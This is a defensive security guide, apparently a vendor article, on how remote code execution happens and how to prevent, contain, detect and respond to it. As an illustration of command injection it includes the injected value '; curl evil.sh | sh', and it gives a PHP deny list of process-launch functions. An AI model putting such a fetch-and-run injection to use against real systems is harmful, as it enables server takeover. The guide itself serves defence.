What remote code execution actually is
Remote code execution (RCE) means an attacker can run arbitrary code or operating-system commands on your server over the network. Once they can do that, nothing else matters: they can read your database, steal credentials and secrets, pivot to internal systems, install a backdoor, deface the site, or hold it to ransom. RCE is the vector behind a large share of the government and enterprise breaches you read about — it usually starts small (an unpatched library, one unsafe line of code) and ends with full compromise.
Preventing RCE is not one setting. It's a chain of independent controls so that a single mistake doesn't become a disaster — stop the input from reaching code, reduce what the code can do, and make sure that if the worst happens you find out fast.
How RCE actually happens
You defend better when you know the real vectors. These are the ones that cause RCE in the wild:
- Command injection. User input is concatenated into a shell command
(
system(),exec(),shell_exec(),os.system,child_process.exec). A value like; curl evil.sh | shruns on your box. - Unsafe deserialization. Accepting serialized objects from untrusted sources
(
unserialize()in PHP, Java/Python pickle, insecure JSON-to-object binders) can trigger unsafe object behavior when an application has usable gadget classes — the classic "gadget chain". - Vulnerable dependencies. A library with a known RCE bug. Log4Shell and the PHP-CGI argument-injection flaw (CVE-2024-4577) are well-known examples where the fix was "patch the version", but you can't patch what you don't know you run.
- File upload to code execution. An upload form that lets an attacker drop a
.php,.jspor.aspxfile into a web-served directory and then request it. - Server-side template injection (SSTI). User input rendered as a template (Jinja2, Twig, Freemarker) instead of as data — the template engine evaluates it as code.
- Dynamic code evaluation.
eval(),Function(),pickle.loads, dynamicinclude/requirewith a user-controlled path. - SQL injection reaching the OS. On misconfigured databases, injection can write files
(
INTO OUTFILE) or run commands via stored procedures — SQLi that becomes RCE. - SSRF into internal services. A server-side request forgery bug that reaches an internal admin panel, a metadata endpoint, or an unauthenticated service, which is then used to execute code.
The controls that stop RCE
1. Never build a shell command from user input
Prefer a library or language API over launching a process. If a process is necessary, avoid a shell and pass
arguments as separate values using a process API that supports argument arrays. Do not assume every language's
exec() accepts an array; its signature and shell behavior are language-specific. For PHP 7.4 and
later, proc_open() accepts an array command. Validate file paths and options separately because
avoiding the shell does not prevent argument injection into the invoked program.
// Bad — the shell parses the whole string
exec("convert " . $userFile . " out.png");
// Better — PHP 7.4+: proc_open accepts an argument array.
$process = proc_open(
[$binary, $validatedInput, $outputPath],
[0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
$pipes
);
// Close stdin, read/close stdout and stderr, then call proc_close($process).
If a shell is unavoidable, keep the command fixed, allow-list and validate each argument, and use the language's argument-escaping function for its specific shell. Escaping is not a substitute for input validation. See the OWASP OS Command Injection Defense Cheat Sheet for language-specific guidance.
2. Don't deserialize untrusted data
Never pass attacker-controlled bytes to unserialize(), pickle, or an object binder that can
instantiate arbitrary classes. Use a data-only format — JSON parsed into plain structures — and validate the
shape before you use it. In PHP, if you must unserialize, pass ['allowed_classes' => false].
3. Patch and inventory your dependencies
Most RCE in production is someone else's bug in a library you shipped. Keep a software bill of materials, run software-composition analysis on every build, and prioritise anything on the CISA Known Exploited Vulnerabilities list — those are being used right now. Our dependency vulnerability checker and software & language version CVE checker turn a lockfile or a version number into a list of known issues in seconds.
4. Make uploads un-executable
- Store uploads outside the web root, or in a bucket that cannot execute code.
- Generate random server-side filenames; never trust the client's name or extension.
- Validate the real content type by magic bytes, not just the extension or header.
- Configure the web server so upload paths are never routed to a script interpreter. Verify the behavior through the same server and handler configuration used in production.
5. Remove dynamic code execution
Avoid eval() and similar dynamic execution. In PHP, consider disabling unused process-launch
functions as defense in depth, but test application compatibility and do not treat this as the primary control:
; Example only: disable functions the application does not require
disable_functions = exec,passthru,shell_exec,system,popen
eval() is a language construct, not a function that can be removed with
disable_functions. Likewise, open_basedir is not a security boundary. Use operating
system permissions, a restricted service identity and isolation to control what a compromised process can reach.
Containing the blast radius
Assume one control will fail. These limit what an attacker can do after gaining execution — often the difference between an incident and a catastrophe.
- Non-root, least-privilege runtime. The web process should not own its own code, should not be able to write to the web root, and should have only the database and network access it needs.
- Mandatory access control. SELinux or AppArmor profiles confine the process even if it's compromised.
- Egress filtering. This is underrated. If the server can only make the outbound connections it actually needs, an attacker who achieves RCE often can't download their second-stage payload, reach a command-and-control server, or exfiltrate your data. Default-deny outbound is one of the most effective post-exploitation brakes you can deploy.
- Secrets out of reach. Keep credentials in a secrets manager with short-lived tokens, not in files the web process can read. If a secret ever lands in your code or a shipped bundle, our secret & API key scanner finds it before it ships — and a leaked key is often the step after RCE that turns a single server into a full breach.
- Network segmentation. A compromised web server should not be able to reach your database admin port, your internal APIs, or your cloud metadata endpoint unless it strictly needs to.
These controls also apply to deployment runners and autonomous software with access to production credentials. For agent-specific risks such as prompt injection and MCP tool permissions, see our AI agent security guide.
Detecting RCE when it happens
Prevention fails silently; detection is how you find out. The evidence almost always lands in your logs.
- Error logs fill with the fault that the exploit triggered — stack traces, failed
execcalls, PHP fatals. Our error log analyzer groups these into recurring signatures so a new one stands out. - Access logs show the probe and the follow-up: requests to
.phpfiles in upload directories, odd query strings, traffic to a freshly created path. Our web server log analyzer flags sensitive-file and injection-pattern requests and anomalous request bursts. - Auth logs reveal the lateral movement that usually follows — a source that failed SSH repeatedly and then succeeded. Our SSH & auth log analyzer is built around exactly that signal.
- File integrity monitoring catches the web shell or modified binary the moment it's written.
If you suspect RCE right now
- Isolate the host from the network — but capture memory and disk first if you can; don't just reboot and lose the evidence.
- Rotate every credential the server could reach: database passwords, API keys, SSH keys, cloud tokens. Assume they're all compromised.
- Find the entry point from the logs above, and the persistence (new users, cron jobs,
web shells, modified files, SSH keys in
authorized_keys). - Rebuild, don't clean. You can rarely be sure you've removed everything. Rebuild from known-good images and restore data you've verified.
- Patch or mitigate the root cause before restoring service, then verify the fix and monitor for repeat attempts.
Common questions about remote code execution
Does a web application firewall prevent RCE?
A web application firewall can block some known request patterns, but it cannot reliably prevent every RCE path. It does not replace safe command handling, secure dependency updates, upload isolation or least privilege.
How should a team prioritize an RCE vulnerability?
First confirm whether the affected product and version are present in your environment. Then prioritize internet-facing systems and vulnerabilities listed in the CISA Known Exploited Vulnerabilities Catalog, apply the vendor's fixed release or mitigation, and verify the deployed version. A severity score alone does not tell you whether a system is exposed or being exploited.
Does hiding a software version make an application safe?
No. Hiding a version can reduce casual disclosure, but it does not patch vulnerable code. Maintain an internal inventory and scan dependency lockfiles; public fingerprinting is incomplete and cannot prove that a component is absent or patched.
This article is general security guidance, not a substitute for a professional assessment of your specific systems.